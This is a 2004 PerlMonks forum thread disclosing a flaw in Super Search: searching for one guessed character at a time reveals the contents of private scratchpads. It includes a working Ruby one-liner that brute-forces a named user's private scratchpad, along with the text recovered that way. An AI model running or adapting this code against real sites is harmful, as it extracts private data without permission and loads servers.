Beefy Boxes and Bandwidth Generously Provided by pair Networks
"be consistent"

Re: Super Search searches scratchpads which are not public

by ambrus (Abbot)
on Jun 12, 2004 at 13:35 UTC ( #363597=note: print w/replies, xml ) Need Help??

in reply to Super Search searches scratchpads which are not public

You can use this feature to find out the full text of the private scratchpad.

For example, if you want to know what follows "vec" in princepawn's scratchpad, you super-search the scratchpad for "veca", "vecb", ... putting each character after vec. This is very slow, so don't do it unless you really need to. It also sucks because the search is case-sensitive.

I tried this just to test that it works. It turns out that princepawn's scratchpad contains "$vector, 1, rand(2" (some letters may be ucased): super-search proves it.

I did the search with a little script that tries every character automatically (some think there are 2**31 characters). To find out the next character, just try (Update: readmored code)

time ruby -we 'STR="$vector, 1, rand(2";require"net/http";require"cgi" +;""); (?\ ..?~).each do|k|(?A..? +Z)===k and next; str=CGI.escape(STR+k.chr+"``1"); post= "displaytype= +raw;node_id=3989;n0=0;BIT=#{str};BIS=``1;BH=0;go=search;xa=0;a=prince +pawn;nf=1;xs=1;Wi=1;Tu=1;M=1;D=1;U=1;Ob=1;Po=1;MR=1;CU=1;Cr=1;BR=1;CC +=1;Sn=1;pPd=1;CQ=1;N=1;pFn=1;CA=1;Q=1;pFq=1;Hlp=1;Pol=1;xr=0;re=N"; r +es=""; "/",post, Hash["User-Agent"=>"node363597","Content-Ty +pe"=>"application/x-www-form-urlencoded"],res;if res !~/\bFinished se +arching\b|\bsearching remaining\b/i; puts"failed";puts res;elsif res= +~/\bnode_id=358697\b/;puts str;end;end;'

Beware, this takes some time to finish. Some guesswork can help (I guessed that "or" would follow "vact").

Replies are listed 'Best First'.
Re^2: Super Search searches scratchpads which are not public
by deprecated (Priest) on Jun 12, 2004 at 14:24 UTC
    You are aware, of course, that on the other side of that ruby is a webserver, with other people connected to it? Serving a site that many people complain has performance issues?

    I'd have been perfectly happy with just "test code" that hadn't made a thousand hits on the server. It's neat, but I got the point from the code.


    Tilly is my hero.

Log In?

What's my password?
Create A New User
Domain Nodelet?
Node Status?
node history
Node Type: note [id://363597]
and the web crawler heard nothing...

How do I use this? | Other CB clients
Other Users?
Others imbibing at the Monastery: (3)
As of 2023-06-11 00:50 GMT
Find Nodes?
    Voting Booth?
    How often do you go to conferences?

    Results (40 votes). Check out past polls.